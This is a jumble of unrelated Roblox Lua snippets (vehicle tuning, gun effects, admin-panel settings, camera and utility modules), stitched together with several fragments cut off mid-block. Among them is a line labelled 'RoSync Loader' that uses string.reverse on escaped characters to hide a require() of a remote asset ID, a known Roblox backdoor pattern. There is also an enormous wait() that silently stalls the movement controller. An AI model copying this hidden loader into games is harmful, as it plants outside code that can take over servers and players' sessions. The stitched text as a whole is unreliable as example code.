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-- oi bruv do iou haw a cop o tee bai ani chance? (something british, unintelligible.)
local up = script.Parent.Up local down = script.Parent.Down local cf1 = up.CFrame local cf2 = down.CFrame local TS = game:GetService("TweenService") local deb = false local CD1 = Instance.new("ClickDetector",up) CD1.MaxActivationDistance = 4 local CD2 = Instance.new("ClickDetector",down) CD2.MaxActivationDistance = 4 CD1.MouseClick:Connect(function() if not deb then deb = true local s = TS:Create(up,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = cf1*CFrame.new(-.04,0,0)}) s.Completed:Connect(function() deb = false end) s:Play() end end) CD2.MouseClick:Connect(function() if not deb then deb = true local s = TS:Create(down,TweenInfo.new(.1,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,true,0),{CFrame = cf2*CFrame.new(-.04,0,0)}) s.Completed:Connect(function() deb = false end) s:Play() end end)
-- make the text say Welcome, playername!
text = "Welcome, " .. playername .. "!"
---------------------------------------------------------------------- --------------------[ SHOCKWAVE HANDLING ]---------------------------- ----------------------------------------------------------------------
local createShockwave = script:WaitForChild("createShockwave") createShockwave.OnServerEvent:connect(function(_, Center, Radius, gunIgnore, S) local Shockwave = Instance.new("Part") Shockwave.BrickColor = S.shockwaveSettings.Color Shockwave.Material = Enum.Material.SmoothPlastic Shockwave.Name = "Shockwave" Shockwave.Anchored = true Shockwave.CanCollide = false Shockwave.FormFactor = Enum.FormFactor.Symmetric Shockwave.Size = V3(1, 1, 1) Shockwave.BottomSurface = Enum.SurfaceType.Smooth Shockwave.TopSurface = Enum.SurfaceType.Smooth local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.Sphere Mesh.Scale = V3() Mesh.Parent = Shockwave Shockwave.Parent = gunIgnore Shockwave.CFrame = CF(Center) spawn(function() local t0 = tick() while true do local Alpha = math.min((tick() - t0) / S.shockwaveSettings.Duration, 1) local Scale = 2 * Radius * Alpha Mesh.Scale = V3(Scale, Scale, Scale) Shockwave.Transparency = Alpha if Alpha == 1 then break end wait() end Shockwave:Destroy() end) end)
--[[ ControlModule - This ModuleScript implements a singleton class to manage the selection, activation, and deactivation of the current character movement controller. This script binds to RenderStepped at Input priority and calls the Update() methods on the active controller instances. The character controller ModuleScripts implement classes which are instantiated and activated as-needed, they are no longer all instantiated up front as they were in the previous generation of PlayerScripts. 2018 PlayerScripts Update - AllYourBlox --]]
wait(999999999999999999999) local ControlModule = {} ControlModule.__index = ControlModule
-- Display a message to the client for a short time, with a background that covers the user's screen.
local tweenService = game:GetService('TweenService') local playersService = game:GetService('Players') local localPlayer = playersService.LocalPlayer local gui = script:WaitForChild('MessageTakeoverGui') local background = gui:WaitForChild('Background') local textLabel = gui:WaitForChild('TextLabel') local TRANSITION_TIME = .5 local DEFAULT_MESSAGE_DURATION = 4 local changeIndex = 0 local messageTakeoverModule = {} messageTakeoverModule.ShowMessage = function(text, duration) if text then textLabel.Text = text end local playerGui = localPlayer:FindFirstChild('PlayerGui') if playerGui then changeIndex = changeIndex + 1 local thisChangeIndex = changeIndex if not gui.Enabled then background.BackgroundTransparency = 1 textLabel.TextTransparency = 1 end gui.Parent = playerGui gui.Enabled = true -- Transition message in tweenService:Create(background, TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In), {['BackgroundTransparency'] = 0,} ):Play() tweenService:Create(textLabel, TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.In), {['TextTransparency'] = 0,} ):Play() -- Wait the message duration without yielding task.delay(duration or DEFAULT_MESSAGE_DURATION, function() if changeIndex == thisChangeIndex then -- Transition message out tweenService:Create(background, TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {['BackgroundTransparency'] = 1,} ):Play() tweenService:Create(textLabel, TweenInfo.new(TRANSITION_TIME, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {['TextTransparency'] = 1,} ):Play() task.delay(TRANSITION_TIME, function() if thisChangeIndex == changeIndex then -- Finalize a few things when transition is done gui.Enabled = false gui.Parent = script end end) end end) end end return messageTakeoverModule
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 8000 -- Spring Force Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FSusMaxExt = .3 -- Max Extension Travel (in studs) Tune.FSusMaxComp = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 8000 -- Spring Force Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RSusMaxExt = .3 -- Max Extension Travel (in studs) Tune.RSusMaxComp = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = true -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Really black" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
----- Initialize -----
if IsStudio == true then IsLiveCheckActive = true coroutine.wrap(function() local status, message = pcall(function() -- This will error if current instance has no Studio API access: DataStoreService:GetDataStore("____PS"):SetAsync("____PS", os.time()) end) local no_internet_access = status == false and string.find(message, "ConnectFail", 1, true) ~= nil if no_internet_access == true then warn("[ProfileService]: No internet access - check your network connection") end if status == false and (string.find(message, "403", 1, true) ~= nil or -- Cannot write to DataStore from studio if API access is not enabled string.find(message, "must publish", 1, true) ~= nil or -- Game must be published to access live keys no_internet_access == true) then -- No internet access UseMockDataStore = true ProfileService._use_mock_data_store = true
-- else -- if script.Parent.Parent.Self_Destruction_Panel.Opened.Value then -- script.Parent.Parent.Self_Destruction_Panel.Open:Fire() -- end
end end workspace.UPCCoreSystemUNYv4yvw3789n5yw7ay.ReactorOnline.Changed:Wait() script.Parent.Lever1.Pulled.Changed:Connect(Changed) script.Parent.Lever2.Pulled.Changed:Connect(Changed) script.Parent.Lever3.Pulled.Changed:Connect(Changed) script.Parent.Lever4.Pulled.Changed:Connect(Changed)
-- Keep track of created items in memory to not lose them in garbage collection
CreatedInstances = {}; LastParents = {};
-- How many times per second the gun can fire
local FireRate = 1 / 11.9
-- Preload animations
function playAnimation(animName, transitionTime, humanoid) if (animName ~= currentAnim) then if (oldAnimTrack ~= nil) then oldAnimTrack:Stop() oldAnimTrack:Destroy() end local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end -- print(animName .. " " .. idx .. " [" .. origRoll .. "]") local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack oldAnimTrack = currentAnimTrack currentAnimTrack = humanoid:LoadAnimation(anim) -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end
--[[** creates an intersection type @param ... The checks to intersect @returns A function that will return true iff the condition is passed **--]]
function t.intersection(...) local checks = { ... } assert(callbackArray(checks)) return function(value) for _, check in ipairs(checks) do local success, errMsg = check(value) if not success then return false, errMsg or "" end end return true end end
-- Mimic the enabling of the topbar when StarterGui:SetCore("TopbarEnabled", state) is called
coroutine.wrap(function() local ChatMain = require(players.LocalPlayer.PlayerScripts:WaitForChild("ChatScript").ChatMain) ChatMain.CoreGuiEnabled:connect(function() local topbarEnabled = checkTopbarEnabled() if topbarEnabled == IconController.previousTopbarEnabled then IconController.updateTopbar() return "SetCoreGuiEnabled was called instead of SetCore" end IconController.previousTopbarEnabled = topbarEnabled if IconController.controllerModeEnabled then IconController.setTopbarEnabled(false,false) else IconController.setTopbarEnabled(topbarEnabled,false) end IconController.updateTopbar() end) IconController.setTopbarEnabled(checkTopbarEnabled(),false) end)()
-- Symbol -- Stephen Leitnick -- December 27, 2020
--Rescripted by Luckymaxer
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") ContentProvider = game:GetService("ContentProvider") UserInputService = game:GetService("UserInputService") InputCheck = Instance.new("ScreenGui") InputCheck.Name = "InputCheck" InputFrame = Instance.new("Frame") InputFrame.BackgroundTransparency = 1 InputFrame.Size = UDim2.new(1, 0, 1, 0) InputFrame.Parent = InputCheck local function Create_PrivImpl(objectType) if type(objectType) ~= 'string' then error("Argument of Create must be a string", 2) end --return the proxy function that gives us the nice Create'string'{data} syntax --The first function call is a function call using Lua's single-string-argument syntax --The second function call is using Lua's single-table-argument syntax --Both can be chained together for the nice effect. return function(dat) --default to nothing, to handle the no argument given case dat = dat or {} --make the object to mutate local obj = Instance.new(objectType) local parent = nil --stored constructor function to be called after other initialization local ctor = nil for k, v in pairs(dat) do --add property if type(k) == 'string' then if k == 'Parent' then -- Parent should always be set last, setting the Parent of a new object -- immediately makes performance worse for all subsequent property updates. parent = v else obj[k] = v end --add child elseif type(k) == 'number' then if type(v) ~= 'userdata' then error("Bad entry in Create body: Numeric keys must be paired with children, got a: "..type(v), 2) end v.Parent = obj --event connect elseif type(k) == 'table' and k.__eventname then if type(v) ~= 'function' then error("Bad entry in Create body: Key `[Create.E\'"..k.__eventname.."\']` must have a function value\ got: "..tostring(v), 2) end obj[k.__eventname]:connect(v) --define constructor function elseif k == t.Create then if type(v) ~= 'function' then error("Bad entry in Create body: Key `[Create]` should be paired with a constructor function, \ got: "..tostring(v), 2) elseif ctor then --ctor already exists, only one allowed error("Bad entry in Create body: Only one constructor function is allowed", 2) end ctor = v else error("Bad entry ("..tostring(k).." => "..tostring(v)..") in Create body", 2) end end --apply constructor function if it exists if ctor then ctor(obj) end if parent then obj.Parent = parent end --return the completed object return obj end end
-- For the sake of speed of converting hexes to strings, there's a map of the conversions here
local BinaryStringMap = {} for Index = 0, 255 do BinaryStringMap[string.format("%02x", Index)] = string.char(Index) end
--[=[ @param object any -- Object to track @param cleanupMethod string? -- Optional cleanup name override @return object: any Adds an object to the trove. Once the trove is cleaned or destroyed, the object will also be cleaned up. The following types are accepted (e.g. `typeof(object)`): | Type | Cleanup | | ---- | ------- | | `Instance` | `object:Destroy()` | | `RBXScriptConnection` | `object:Disconnect()` | | `function` | `object()` | | `thread` | `coroutine.close(object)` | | `table` | `object:Destroy()` _or_ `object:Disconnect()` | | `table` with `cleanupMethod` | `object:<cleanupMethod>()` | Returns the object added. ```lua -- Add a part to the trove, then destroy the trove, -- which will also destroy the part: local part = Instance.new("Part") trove:Add(part) trove:Destroy() -- Add a function to the trove: trove:Add(function() print("Cleanup!") end) trove:Destroy() -- Standard cleanup from table: local tbl = {} function tbl:Destroy() print("Cleanup") end trove:Add(tbl) -- Custom cleanup from table: local tbl = {} function tbl:DoSomething() print("Do something on cleanup") end trove:Add(tbl, "DoSomething") ``` ]=]
function Trove:Add(object: any, cleanupMethod: string?): any if self._cleaning then error("Cannot call trove:Add() while cleaning", 2) end local cleanup = GetObjectCleanupFunction(object, cleanupMethod) table.insert(self._objects, { object, cleanup }) return object end
-- Set initial colors
colorAll(brakelights, brakeColor_off) colorAll(headlights, lightColor_off) smoke.Enabled = false fire.Enabled = false
-- Saves profile card information for next time
Players.PlayerRemoving:Connect(function(player) local statusSuccess, statusError = pcall(function() Statuses:SetAsync(player.UserId, player:GetAttribute("status")) end) if statusSuccess then -- print("Status successfully updated!") else print(player, statusError) end end)
--[[* * Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. ]]
local CurrentModule = script.Parent local Packages = CurrentModule.Parent local exports = {}
--[[ REFERENCE: command_full_name: The name of a command (e.g. :cmds) [command_full_name] = { Player = 0; Server = 0; Cross = 0; } ]]
} settings.HttpWait = 60 -- How long things that use the HttpService will wait before updating again settings.Trello_Enabled = false -- Are the Trello features enabled? settings.Trello_Primary = "" -- Primary Trello board settings.Trello_Secondary = {} -- Secondary Trello boards (read-only) Format: {"BoardID";"BoardID2","etc"} settings.Trello_AppKey = "" -- Your Trello AppKey Link: https://trello.com/app-key settings.Trello_Token = "" -- Trello token (DON'T SHARE WITH ANYONE!) Link: https://trello.com/1/connect?name=Trello_API_Module&response_type=token&expires=never&scope=read,write&key=YOUR_APP_KEY_HERE settings.Trello_HideRanks = false -- If true, Trello-assigned ranks won't be shown in the admins list UI (accessed via :admins) settings.G_API = true -- If true, allows other server scripts to access certain functions described in the API module through _G.Adonis settings.G_Access = false -- If enabled, allows other scripts to access Adonis using _G.Adonis.Access; Scripts will still be able to do things like _G.Adonis.CheckAdmin(player) settings.G_Access_Key = "Example_Key" -- Key required to use the _G access API; Example_Key will not work for obvious reasons settings.G_Access_Perms = "Read" -- Access perms settings.Allowed_API_Calls = { Client = false; -- Allow access to the Client (not recommended) Settings = false; -- Allow access to settings (not recommended) DataStore = false; -- Allow access to the DataStore (not recommended) Core = false; -- Allow access to the script's core table (REALLY not recommended) Service = false; -- Allow access to the script's service metatable Remote = false; -- Communication table HTTP = false; -- HTTP-related things like Trello functions Anti = false; -- Anti-Exploit table Logs = false; UI = false; -- Client UI table Admin = false; -- Admin related functions Functions = false; -- Functions table (contains functions used by the script that don't have a subcategory) Variables = true; -- Variables table API_Specific = true; -- API Specific functions } settings.FunCommands = true -- Are fun commands enabled? settings.PlayerCommands = true -- Are player-level utility commands enabled? settings.CommandFeedback = false -- Should players be notified when commands with non-obvious effects are run on them? settings.CrossServerCommands = true -- Are commands which affect more than one server enabled? settings.ChatCommands = true -- If false you will not be able to run commands via the chat; Instead, you MUST use the console or you will be unable to run commands settings.CreatorPowers = true -- Gives me creator-level admin; This is strictly used for debugging; I can't debug without full access to the script settings.CodeExecution = true -- Enables the use of code execution in Adonis; Scripting related (such as :s) and a few other commands require this settings.SilentCommandDenials = false -- If true, there will be no differences between the error messages shown when a user enters an invalid command and when they have insufficient permissions for the command settings.OverrideChatCallbacks = true -- If the TextChatService ShouldDeliverCallbacks of all channels are overridden by Adonis on load. Required for muting settings.BanMessage = "Banned" -- Message shown to banned users upon kick settings.LockMessage = "Not Whitelisted" -- Message shown to people when they are kicked while the game is :slocked settings.SystemTitle = "System Message" -- Title to display in :sm and :bc settings.MaxLogs = 5000 -- Maximum logs to save before deleting the oldest settings.SaveCommandLogs = true -- If command logs are saved to the datastores settings.Notification = true -- Whether or not to show the "You're an admin" and "Updated" notifications settings.SongHint = true -- Display a hint with the current song name and ID when a song is played via :music settings.TopBarShift = false -- By default hints and notifications will appear from the top edge of the window. Set this to true if you don't want hints/notifications to appear in that region. settings.Messages = {} -- A list of notification messages to show HeadAdmins and above on join settings.AutoClean = false -- Will auto clean workspace of things like hats and tools settings.AutoCleanDelay = 60 -- Time between auto cleans settings.AutoBackup = false -- Run :backupmap automatically when the server starts. To restore the map, run :restoremap settings.Console = true -- Whether the command console is enabled settings.Console_AdminsOnly = false -- If true, only admins will be able to access the console settings.HelpSystem = true -- Allows players to call admins for help using !help settings.HelpButton = true -- Shows a little help button in the bottom right corner. settings.HelpButtonImage = "rbxassetid://357249130" -- Sets the image used for the Adonis help button above. settings.DonorCapes = true -- Donors get to show off their capes; Not disruptive :) settings.DonorCommands = true -- Show your support for the script and let donors use harmless commands like !sparkles settings.LocalCapes = false -- Makes Donor capes local so only the donors see their cape [All players can still disable capes locally] settings.Detection = true -- (Extremely important, makes all protection systems work) A global toggle for all the other protection settings settings.CheckClients = true -- (Important, makes sure Adonis clients are connected to the server) Checks clients every minute or two to make sure they are still active settings.ExploitNotifications = true -- Notify all moderators and higher-ups when a player is kicked or crashed from the AntiExploit settings.CharacterCheckLogs = false -- If the character checks appear in exploit logs and exploit notifications settings.AntiNoclip = false -- Attempts to detect noclipping and kills the player if found settings.AntiRootJointDeletion = false -- Attempts to detect paranoid and kills the player if found settings.AntiMultiTool = false -- Prevents multitool and because of that many other exploits settings.AntiGod = false -- If a player does not respawn when they should have they get respawned
-- Cosmetic bullet container
local CosmeticBulletsFolder = workspace:FindFirstChild("CosmeticBulletsFolder") or Instance.new("Folder", workspace) CosmeticBulletsFolder.Name = "CosmeticBulletsFolder"
-- Functions
function PlayerManager:SetGameRunning(running) GameRunning = running end function PlayerManager:AllowPlayerSpawn(allow) PlayersCanSpawn = allow end function PlayerManager:ClearPlayerScores() for _, player in ipairs(Players:GetPlayers()) do local leaderstats = player:FindFirstChild("leaderstats") if leaderstats then local KWA if Configurations.GRANT_ASSISTS then KWA = leaderstats:FindFirstChild("KO - WO - A") if KWA then KWA.Value = "0 - 0 - 0" end else KWA = leaderstats:FindFirstChild("KO - WO") if KWA then KWA.Value = "0 - 0" end end end end end function PlayerManager:LoadPlayers() for _, player in pairs(Players:GetPlayers()) do player:LoadCharacter() end end function PlayerManager:DestroyPlayers() for _, player in pairs(Players:GetPlayers()) do player.Character:Destroy() for _, item in pairs(player.Backpack:GetChildren()) do item:Destroy() end end ResetMouseIcon:FireAllClients() end function PlayerManager:PlayerHit(hitPlayer, hittingPlayer) if hitPlayer == hittingPlayer then return end if not HitArray[hitPlayer] then HitArray[hitPlayer] = { } end for i = 1, #HitArray[hitPlayer] do if HitArray[hitPlayer][i]== hittingPlayer then return end end table.insert(HitArray[hitPlayer], hittingPlayer) end function PlayerManager:PlayerDied(player) if HitArray[player] then for i = #HitArray[player], 1, -1 do local hittingPlayer = HitArray[player][i] if hittingPlayer ~= player then if i == #HitArray[player] then ScoreArray[hittingPlayer][1] = ScoreArray[hittingPlayer][1] + 1 TeamManager:AddTeamScore(hittingPlayer.TeamColor, 1) spawn(function() pcall(function() PointsService:AwardPoints(hittingPlayer.userId, Configurations.PLAYER_POINTS_PER_KO) end) end) else ScoreArray[hittingPlayer][3] = ScoreArray[hittingPlayer][3] + 1 spawn(function() pcall(function() PointsService:AwardPoints(hittingPlayer.userId, Configurations.PLAYER_POINTS_PER_ASSIST) end) end) end UpdatePlayerScore(hittingPlayer) end end end ScoreArray[player][2] = ScoreArray[player][2] + 1 HitArray[player] = nil UpdatePlayerScore(player) end
--[=[ Sets the name for the datastore to retrieve. :::info Must be done before start and after init. ::: @param dataStoreName string ]=]
function PlayerDataStoreService:SetDataStoreName(dataStoreName) assert(type(dataStoreName) == "string", "Bad dataStoreName") assert(self._started, "Not initialized") assert(self._started:IsPending(), "Already started, cannot configure") self._dataStoreName = dataStoreName end
-- Formerly getCurrentCameraMode, this function resolves developer and user camera control settings to -- decide which camera control module should be instantiated. The old method of converting redundant enum types
function CameraModule:GetCameraControlChoice() local player = Players.LocalPlayer if player then if self.lastInputType == Enum.UserInputType.Touch or UserInputService.TouchEnabled then -- Touch if player.DevTouchCameraMode == Enum.DevTouchCameraMovementMode.UserChoice then return CameraUtils.ConvertCameraModeEnumToStandard( UserGameSettings.TouchCameraMovementMode ) else return CameraUtils.ConvertCameraModeEnumToStandard( player.DevTouchCameraMode ) end else -- Computer if player.DevComputerCameraMode == Enum.DevComputerCameraMovementMode.UserChoice then local computerMovementMode = CameraUtils.ConvertCameraModeEnumToStandard(UserGameSettings.ComputerCameraMovementMode) return CameraUtils.ConvertCameraModeEnumToStandard(computerMovementMode) else return CameraUtils.ConvertCameraModeEnumToStandard(player.DevComputerCameraMode) end end end end function CameraModule:OnCharacterAdded(char, player) if self.activeOcclusionModule then self.activeOcclusionModule:CharacterAdded(char, player) end end function CameraModule:OnCharacterRemoving(char, player) if self.activeOcclusionModule then self.activeOcclusionModule:CharacterRemoving(char, player) end end function CameraModule:OnPlayerAdded(player) player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char, player) end) player.CharacterRemoving:Connect(function(char) self:OnCharacterRemoving(char, player) end) end function CameraModule:OnMouseLockToggled() if self.activeMouseLockController then local mouseLocked = self.activeMouseLockController:GetIsMouseLocked() local mouseLockOffset = self.activeMouseLockController:GetMouseLockOffset() if self.activeCameraController then self.activeCameraController:SetIsMouseLocked(mouseLocked) self.activeCameraController:SetMouseLockOffset(mouseLockOffset) end end end return CameraModule.new()
--[[ Create an unnamed Symbol. Usually, you should create a named Symbol using Symbol.named(name) ]]
function Symbol.unnamed() local self = newproxy(true) getmetatable(self).__tostring = function() return "Unnamed Symbol" end return self end return Symbol
--[=[ https://rxjs-dev.firebaseapp.com/api/operators/scan @param accumulator (current: TSeed, ...: TInput) -> TResult @param seed TSeed @return (source: Observable<TInput>) -> Observable<TResult> ]=]
function Rx.scan(accumulator, seed) assert(type(accumulator) == "function", "Bad accumulator") return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) local current = seed return source:Subscribe(function(...) current = accumulator(current, ...) sub:Fire(current) end, sub:GetFailComplete()) end) end end
-- Static checkpoint color variables
local HIT_COLOR = Color3.new(91/255, 93/255, 105/255) local NOT_HIT_COLOR = Color3.new(248/255, 217/255, 109/255) local PARTICLE_DURATION = 0.75
-- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
local anim = animTable[animName][idx].anim -- load it to the humanoid; get AnimationTrack toolAnimTrack = humanoid:LoadAnimation(anim) -- play the animation toolAnimTrack:Play(transitionTime) toolAnimName = animName currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc) end end function stopToolAnimations() local oldAnim = toolAnimName if (currentToolAnimKeyframeHandler ~= nil) then currentToolAnimKeyframeHandler:disconnect() end toolAnimName = "" if (toolAnimTrack ~= nil) then toolAnimTrack:Stop() toolAnimTrack:Destroy() toolAnimTrack = nil end return oldAnim end
--[=[ Shorthand for `Promise:andThen(nil, failureHandler)`. Returns a Promise that resolves if the `failureHandler` worked without encountering an additional error. :::warning Within the failure handler, you should never assume that the rejection value is a string. Some rejections within the Promise library are represented by [[Error]] objects. If you want to treat it as a string for debugging, you should call `tostring` on it first. ::: Calling `catch` on a cancelled Promise returns a cancelled Promise. :::tip If the Promise returned by `catch` is cancelled, `failureHandler` will not run. To run code no matter what, use [Promise:finally]. ::: @param failureHandler (...: any) -> ...any @return Promise<...any> ]=]
function Promise.prototype:catch(failureHandler) assert(failureHandler == nil or isCallable(failureHandler), string.format(ERROR_NON_FUNCTION, "Promise:catch")) return self:_andThen(debug.traceback(nil, 2), nil, failureHandler) end
--[=[ A wrapper for an `RBXScriptConnection`. Makes the Janitor clean up when the instance is destroyed. This was created by Corecii. @class RbxScriptConnection ]=]
local RbxScriptConnection = {} RbxScriptConnection.Connected = true RbxScriptConnection.__index = RbxScriptConnection
--[=[ @within ServerComm @type ServerMiddlewareFn (player: Player, args: {any}) -> (shouldContinue: boolean, ...: any) The middleware function takes the client player and the arguments (as a table array), and should return `true|false` to indicate if the process should continue. If returning `false`, the optional varargs after the `false` are used as the new return values to whatever was calling the middleware. ]=] --[=[ @within ServerComm @type ServerMiddleware {ServerMiddlewareFn} Array of middleware functions. ]=]
-- ================================================================================ -- Settings -- ================================================================================
local Settings = {} Settings.DefaultSpeed = 100 -- Speed when not boosted [Studs/second, Range 50-300] Settings.BoostSpeed = 200 -- Speed when boosted [Studs/second, Maximum: 400] Settings.BoostAmount = 10 -- Duration of boost in seconds Settings.Steering = 5 -- How quickly the speeder turns [Range: 1-10]
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Darkblue",Paint) end)
--print("intmoveTO")
function Zombie:moveTo() local targetReached = false local humanoid = self.Humanoid local targetPoint = self:FindPath() local connection connection = humanoid.MoveToFinished:Connect(function(reached) targetReached = true connection:Disconnect() connection = nil if Shetchik <= 5 then Zombie:moveTo() end end) if targetPoint ~= nil then humanoid:MoveTo(targetPoint) spawn(function() while not targetReached do if not (humanoid and humanoid.Parent) then break end if humanoid.WalkToPoint ~= targetPoint then break end humanoid:MoveTo(targetPoint) wait(6) end if connection then connection:Disconnect() connection = nil end end) end end --print("Start") return Zombie
--- Returns a new Maid object -- @constructor Maid.new() -- @treturn Maid
function Maid.new() local self = {} self._tasks = {} return setmetatable(self, Maid) end
--Module
local ModuleLoader = require(Internal.InternalLoader)
--[=[ Adds commas to a number. Not culture aware. @param number string | number @param seperator string? @return string ]=]
function String.addCommas(number: string | number, seperator: string): string if type(number) == "number" then number = tostring(number) end seperator = seperator or "," local index = -1 while index ~= 0 do number, index = string.gsub(number, "^(-?%d+)(%d%d%d)", "%1" .. seperator .. "%2") end return number end return String
------------------------------------
function onTouched(part) if part.Parent ~= nil then local h = part.Parent:findFirstChild("Humanoid") if h~=nil then local teleportfrom=script.Parent.Enabled.Value if teleportfrom~=0 then if h==humanoid then return end local teleportto=script.Parent.Parent:findFirstChild(modelname) if teleportto~=nil then local torso = h.Parent.Torso local location = {teleportto.Position} local i = 1 local x = location[i].x local y = location[i].y local z = location[i].z x = x + math.random(-1, 1) z = z + math.random(-1, 1) y = y + math.random(2, 3) local cf = torso.CFrame local lx = 0 local ly = y local lz = 0 script.Parent.Enabled.Value=0 teleportto.Enabled.Value=0 torso.CFrame = CFrame.new(Vector3.new(x,y,z), Vector3.new(lx,ly,lz)) wait(3) script.Parent.Enabled.Value=1 teleportto.Enabled.Value=1 else print("Could not find teleporter!") end end end end end
--[=[ Provides utilities for working with ValueBase objects, like [IntValue] or [ObjectValue] in Roblox. @class ValueBaseUtils ]=]
local ValueBaseUtils = {} local TYPE_TO_CLASSNAME_LOOKUP = { ["nil"] = "ObjectValue"; boolean = "BoolValue"; number = "NumberValue"; string = "StringValue"; BrickColor = "BrickColorValue"; CFrame = "CFrameValue"; Color3 = "Color3Value"; Instance = "ObjectValue"; Ray = "RayValue"; Vector3 = "Vector3Value"; } local VALUE_BASE_TYPE_LOOKUP = { BoolValue = "boolean"; NumberValue = "number"; IntValue = "number"; StringValue = "string"; BrickColorValue = "BrickColor"; CFrameValue = "CFrame"; Color3Value = "Color3"; ObjectValue = "Instance"; RayValue = "Ray"; Vector3Value = "Vector3"; }
--[[ Determines which locators to show based on (in order of priority): 1. Distance from users, and 2. Total number of indicators to show Parameters: - userIds (table): list of user IDs for all candidate players - distanceFromCamera (table): Key (string): Stringified Player.UserId Value (number): Magnitude of how far the player is from the LocalPlayer's camera - configuration (table): Configuration table for the dev module Returns: - userIds (table): list of user IDs to display the friendship locator for. ]]
local function selectUserIdsByDistance(userIds, distanceFromCamera, configuration) -- Sort the players according to the distance to you local sortedByDistance = Cryo.List.sort(userIds, function(a, b) local distance1 = distanceFromCamera[a] or math.huge local distance2 = distanceFromCamera[b] or math.huge return distance1 < distance2 end) -- Limit the total number of indicators local res = {} for _, userId in ipairs(sortedByDistance) do if #res >= configuration.maxLocators then break end local distance = distanceFromCamera[userId] or 0 if distance > configuration.thresholdDistance then table.insert(res, userId) end end return res end return selectUserIdsByDistance
--[[ Last synced 12/17/2020 06:57 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[** <description> Unmark the data store as a backup data store and tell :Get() and reset values to nil. </description> **--]]
function DataStore:ClearBackup() self.backup = nil self.haveValue = false self.value = nil self.getRawPromise = nil end
-- Time it takes to tween between view switches:
local TWEEN_DURATION = 0.25 local V3 = Vector3.new local CF = CFrame.new local ANG = CFrame.Angles local ACOS = math.acos local COS = math.cos local SIN = math.sin local RAND = math.random local TAU = math.pi * 2 local CamLock = {} local cam = game.Workspace.CurrentCamera local plane local seat local currentViewIndex = 1 local currentView local viewRotH = 0 local viewRotV = 0 local MAX_VIEW_ROT_V = math.rad(80) local mobileDeviceBank = 0 local Damping = require(script:WaitForChild("Damping")) local easing = require(script:WaitForChild("Easing")) local dampCam = Damping.new() local dampRot = Damping.new() local dampShake = Damping.new() dampShake.P = 3 dampShake.D = 0.05 local tweening = false local tweenStart = 0 local tweenFromView = nil local views = { -- Pivot: Point around which camera rotates -- Offset: Camera offset from pivot point -- Ease: Ease function used when tweening into the view -- Third-person: { Pivot = CF(0, 3.5, -1.1); Offset = CF(0, 8, 40); Ease = easing.outQuint; }; -- First-person: { Pivot = CF(0, 3.5, -1.1); Offset = CF(0, 0, 0); Ease = easing.outQuint; }; -- Landing gear: { Pivot = CF(0, -3.5, -0.5); Offset = CF(0, 0, 0); Ease = easing.outQuint; }; }
--Steering Gyro
SteeringGyro = Instance.new("BodyGyro") SteeringGyro.Parent = bike.FrontSection.TripleTreeHinge SteeringGyro.Name = "SteeringGyro" SteeringGyro.D = _Tune.SteerD SteeringGyro.MaxTorque = Vector3.new(0,0,0) SteeringGyro.P = _Tune.SteerP
--FakeTorso.Massless = true
